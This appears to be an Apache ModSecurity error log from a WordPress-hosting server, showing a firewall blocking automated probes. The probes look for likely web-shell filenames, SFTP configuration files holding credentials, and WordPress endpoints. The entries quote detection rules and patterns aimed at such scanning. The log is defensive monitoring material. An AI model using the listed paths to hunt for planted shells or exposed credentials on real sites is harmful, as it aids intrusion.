[Thu Jan 08 01:09:06.398450 2026] [:error] [pid 30633:tid 30671] [client 4.189.122.79:3324] [client 4.189.122.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aV6TMvZiVWlF7303nMjZCAAAAEg"]
[Thu Jan 08 01:09:06.626183 2026] [:error] [pid 58294:tid 58320] [client 4.189.122.79:3351] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aV6TMlfzA7c0ITpf3nFb1AAAAJg"]
[Thu Jan 08 01:09:06.853105 2026] [:error] [pid 50905:tid 50923] [client 4.189.122.79:3349] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aV6TMmpNgk5-gt30I7bGkAAAAlA"]
[Thu Jan 08 01:09:07.079408 2026] [:error] [pid 50905:tid 50920] [client 4.189.122.79:3322] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aV6TM2pNgk5-gt30I7bGkgAAAk0"]
[Thu Jan 08 01:09:07.305804 2026] [:error] [pid 58330:tid 58352] [client 4.189.122.79:3321] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aV6TMw8kGngKGK7_wncy0gAAARQ"]
[Thu Jan 08 01:09:07.536137 2026] [:error] [pid 30632:tid 30641] [client 4.189.122.79:3382] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aV6TM-d3_LCpBJzo02c6bQAAAAU"]
[Thu Jan 08 01:09:07.763024 2026] [:error] [pid 30633:tid 30676] [client 4.189.122.79:3975] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aV6TM_ZiVWlF7303nMjZCQAAAE0"]
[Thu Jan 08 01:09:07.989435 2026] [:error] [pid 30632:tid 30637] [client 4.189.122.79:3315] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/NewFile.php"] [unique_id "aV6TM-d3_LCpBJzo02c6bwAAAAE"]
[Thu Jan 08 01:09:08.222582 2026] [:error] [pid 50905:tid 50928] [client 4.189.122.79:3308] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fffff.php"] [unique_id "aV6TNGpNgk5-gt30I7bGlQAAAlU"]
[Thu Jan 08 01:09:08.450064 2026] [:error] [pid 50870:tid 50891] [client 4.189.122.79:3629] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fffff.php"] [unique_id "aV6TNBlePfspAt1BzouX8wAAAhM"]
[Thu Jan 08 01:09:08.676781 2026] [:error] [pid 30633:tid 30678] [client 4.189.122.79:3302] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fffff.php"] [unique_id "aV6TNPZiVWlF7303nMjZCgAAAE8"]
[Thu Jan 08 01:09:08.902841 2026] [:error] [pid 30633:tid 30663] [client 4.189.122.79:3991] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fffff.php"] [unique_id "aV6TNPZiVWlF7303nMjZCwAAAEA"]
[Thu Jan 08 01:09:09.138932 2026] [:error] [pid 50936:tid 50962] [client 4.189.122.79:3969] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpa.php"] [unique_id "aV6TNbDlg80QUdd5qc40fAAAApg"]
[Thu Jan 08 01:09:09.376471 2026] [:error] [pid 50905:tid 50907] [client 4.189.122.79:3376] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpa.php"] [unique_id "aV6TNWpNgk5-gt30I7bGmQAAAkA"]
[Thu Jan 08 01:09:09.604110 2026] [:error] [pid 58294:tid 58312] [client 4.189.122.79:4011] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpa.php"] [unique_id "aV6TNVfzA7c0ITpf3nFb2gAAAJA"]
[Thu Jan 08 01:09:09.831873 2026] [:error] [pid 51128:tid 51141] [client 4.189.122.79:3301] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alpa.php"] [unique_id "aV6TNUGjtE8U88mrwufL5QAAAYs"]
[Thu Jan 08 01:09:10.058272 2026] [:error] [pid 51128:tid 51145] [client 4.189.122.79:3615] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "aV6TNkGjtE8U88mrwufL5gAAAY8"]
[Thu Jan 08 01:09:10.283880 2026] [:error] [pid 30633:tid 30669] [client 4.189.122.79:3280] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "aV6TNvZiVWlF7303nMjZDAAAAEY"]
[Thu Jan 08 01:09:10.510951 2026] [:error] [pid 50936:tid 50944] [client 4.189.122.79:3317] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "aV6TNrDlg80QUdd5qc40fQAAAoY"]
[Thu Jan 08 01:09:10.739180 2026] [:error] [pid 50870:tid 50888] [client 4.189.122.79:3288] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ant.php"] [unique_id "aV6TNhlePfspAt1BzouX9AAAAhA"]
[Thu Jan 08 01:09:10.972869 2026] [:error] [pid 30633:tid 30686] [client 4.189.122.79:3519] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-rinko.php"] [unique_id "aV6TNvZiVWlF7303nMjZDgAAAFc"]
[Thu Jan 08 01:09:11.198432 2026] [:error] [pid 58330:tid 58333] [client 4.189.122.79:3352] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-rinko.php"] [unique_id "aV6TNw8kGngKGK7_wncy2AAAAQE"]
[Thu Jan 08 01:09:11.425589 2026] [:error] [pid 30633:tid 30687] [client 4.189.122.79:3510] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-rinko.php"] [unique_id "aV6TN_ZiVWlF7303nMjZEQAAAFg"]
[Thu Jan 08 01:09:11.654923 2026] [:error] [pid 58330:tid 58340] [client 4.189.122.79:3304] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-rinko.php"] [unique_id "aV6TNw8kGngKGK7_wncy2gAAAQg"]
[Thu Jan 08 01:44:48.771463 2026] [:error] [pid 50905:tid 50910] [client 138.197.32.240:62534] [client 138.197.32.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aV6bkGpNgk5-gt30I7bSmgAAAkM"], referer: binance.com
[Thu Jan 08 03:08:21.895971 2026] [:error] [pid 58294:tid 58307] [client 138.197.32.240:57465] [client 138.197.32.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/css/"] [unique_id "aV6vJVfzA7c0ITpf3nF2JAAAAIs"], referer: binance.com
[Thu Jan 08 03:51:20.564655 2026] [:error] [pid 15264:tid 15312] [client 101.32.52.164:45852] [client 101.32.52.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aV65OIov6_kvS0Owh-pVQAAAAE0"]
[Thu Jan 08 05:15:37.762088 2026] [:error] [pid 15265:tid 15337] [client 43.153.123.4:51990] [client 43.153.123.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aV7M-aE6VBKhew2LTFSUNwAAAIs"]
[Thu Jan 08 06:32:23.390612 2026] [:error] [pid 15263:tid 15294] [client 122.51.236.174:59488] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aV7e99v61bxum7WG_e9h3gAAABY"]
[Thu Jan 08 10:29:59.781889 2026] [:error] [pid 15263:tid 15293] [client 103.77.107.178:56830] [client 103.77.107.178] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aV8Wp9v61bxum7WG_e-gOwAAABU"]
[Thu Jan 08 10:30:00.314078 2026] [:error] [pid 2424:tid 2429] [client 103.77.107.178:57197] [client 103.77.107.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aV8WqLTDJR8aofkBk9SWjQAAAQM"]
[Thu Jan 08 10:34:50.392159 2026] [:error] [pid 15263:tid 15275] [client 43.131.45.213:33378] [client 43.131.45.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aV8Xytv61bxum7WG_e-hMgAAAAM"]
[Thu Jan 08 11:44:38.829072 2026] [:error] [pid 15264:tid 15311] [client 43.130.91.95:39076] [client 43.130.91.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aV8oJoov6_kvS0Owh-rD-QAAAEw"]
[Thu Jan 08 19:38:19.176144 2026] [:error] [pid 17404:tid 17419] [client 106.203.207.203:64437] [client 106.203.207.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.203.207.203, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aV-XK2Vd_oH193N6AnWxQQAAAY0"]
[Thu Jan 08 22:53:29.773213 2026] [:error] [pid 2484:tid 2491] [client 34.48.253.34:62298] [client 34.48.253.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.48.253.34, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aV_E6TiDlnlaQQK_AEOq6QAAAUU"]
[Thu Jan 08 22:53:30.502021 2026] [:error] [pid 2484:tid 2486] [client 34.48.253.34:62298] [client 34.48.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aV_E6jiDlnlaQQK_AEOq8gAAAUA"]
[Thu Jan 08 22:53:31.421773 2026] [:error] [pid 15265:tid 15350] [client 34.48.253.34:56576] [client 34.48.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aV_E66E6VBKhew2LTFRg3gAAAJg"]
[Thu Jan 08 22:53:32.350238 2026] [:error] [pid 2484:tid 2506] [client 34.48.253.34:57208] [client 34.48.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aV_E7DiDlnlaQQK_AEOq_gAAAVI"]
[Thu Jan 08 22:53:33.269686 2026] [:error] [pid 15265:tid 15328] [client 34.48.253.34:55389] [client 34.48.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aV_E7aE6VBKhew2LTFRg4QAAAII"]
[Thu Jan 08 22:53:34.177810 2026] [:error] [pid 15265:tid 15349] [client 34.48.253.34:56450] [client 34.48.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aV_E7qE6VBKhew2LTFRg4wAAAJc"]
[Thu Jan 08 22:53:35.057591 2026] [:error] [pid 7586:tid 7614] [client 34.48.253.34:57179] [client 34.48.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "aV_E78Jyk37GdXP5TmWBUQAAAdg"]
[Thu Jan 08 22:53:36.030690 2026] [:error] [pid 15263:tid 15278] [client 34.48.253.34:56758] [client 34.48.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aV_E8Nv61bxum7WG_e8XcAAAAAY"]
[Thu Jan 08 22:53:36.927095 2026] [:error] [pid 15264:tid 15305] [client 34.48.253.34:57811] [client 34.48.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "aV_E8Iov6_kvS0Owh-oligAAAEY"]
[Thu Jan 08 22:53:37.806021 2026] [:error] [pid 15263:tid 15286] [client 34.48.253.34:55544] [client 34.48.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aV_E8dv61bxum7WG_e8XcwAAAA4"]
[Thu Jan 08 22:53:38.882528 2026] [:error] [pid 17404:tid 17424] [client 34.48.253.34:55652] [client 34.48.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aV_E8mVd_oH193N6AnXT2QAAAZI"]
[Thu Jan 08 22:53:39.806428 2026] [:error] [pid 15263:tid 15284] [client 34.48.253.34:64355] [client 34.48.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aV_E89v61bxum7WG_e8XdgAAAAw"]
[Thu Jan 08 22:53:40.738322 2026] [:error] [pid 2424:tid 2444] [client 34.48.253.34:52488] [client 34.48.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aV_E9LTDJR8aofkBk9RF6QAAARI"]
[Thu Jan 08 22:53:41.623134 2026] [:error] [pid 15264:tid 15314] [client 34.48.253.34:62369] [client 34.48.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aV_E9Yov6_kvS0Owh-oljgAAAE8"]
[Thu Jan 08 22:53:42.523703 2026] [:error] [pid 15264:tid 15309] [client 34.48.253.34:65324] [client 34.48.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aV_E9oov6_kvS0Owh-olkAAAAEo"]
[Thu Jan 08 22:53:43.496113 2026] [:error] [pid 15358:tid 15391] [client 34.48.253.34:50928] [client 34.48.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aV_E9yoRk9xWJ3toSBKV8gAAANU"]
[Thu Jan 08 23:25:54.436387 2026] [:error] [pid 2484:tid 2512] [client 74.225.203.54:46248] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nx1.php"] [unique_id "aV_MgjiDlnlaQQK_AEO0TAAAAVg"]
[Thu Jan 08 23:25:54.810004 2026] [:error] [pid 15358:tid 15374] [client 74.225.203.54:46304] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nx1.php"] [unique_id "aV_MgioRk9xWJ3toSBKb2QAAAMQ"]
[Thu Jan 08 23:25:55.241418 2026] [:error] [pid 17404:tid 17412] [client 74.225.203.54:46274] [client 74.225.203.54] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nx1.php"] [unique_id "aV_Mg2Vd_oH193N6AnXZDAAAAYY"]
